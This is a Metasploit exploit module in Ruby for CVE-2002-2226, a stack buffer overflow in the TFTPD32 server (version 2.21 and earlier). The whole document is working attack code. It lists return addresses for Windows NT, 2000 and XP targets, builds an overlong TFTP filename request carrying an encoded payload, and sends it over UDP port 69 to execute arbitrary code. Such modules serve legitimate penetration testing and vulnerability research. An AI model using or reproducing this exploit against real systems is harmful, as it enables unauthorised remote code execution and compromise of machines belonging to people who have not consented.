TFTPD32 Long Filename Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TFTPD32 Long Filename Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in TFTPD32 version 2.21
        and prior. By sending a request for an overly long file name
        to the tftpd32 server, a remote attacker could overflow a buffer and
        execute arbitrary code on the system.
      },
      'Author'         => 'MC',
      'References'     =>
        [
          ['CVE', '2002-2226'],
          ['OSVDB', '45903'],
          ['BID', '6199'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 250,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows NT 4.0 SP6a English',    { 'Ret' => 0x77f9d463} ],
          ['Windows 2000 Pro SP4 English',   { 'Ret' => 0x7c2ec663} ],
          ['Windows XP Pro SP0 English',     { 'Ret' => 0x77dc0df0} ],
          ['Windows XP Pro SP1 English',     { 'Ret' => 0x77dc5527} ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2002-11-19'
      ))

    register_options(
      [
        Opt::RPORT(69)
      ], self)
  end

  def exploit
    connect_udp

    print_status("Trying target #{target.name}...")

    sploit =
      "\x00\x01" +
      rand_text_english(120, payload_badchars) +
      "." +
      rand_text_english(135, payload_badchars) +
      [target.ret].pack('V') +
      payload.encoded +
      "\x00"

    udp_sock.put(sploit)

    disconnect_udp
  end
end